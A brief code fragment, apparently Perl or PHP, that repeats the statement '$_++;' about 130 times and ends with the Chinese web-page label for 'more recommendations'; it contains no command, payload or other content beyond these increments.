$_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++; $_++;

更多推荐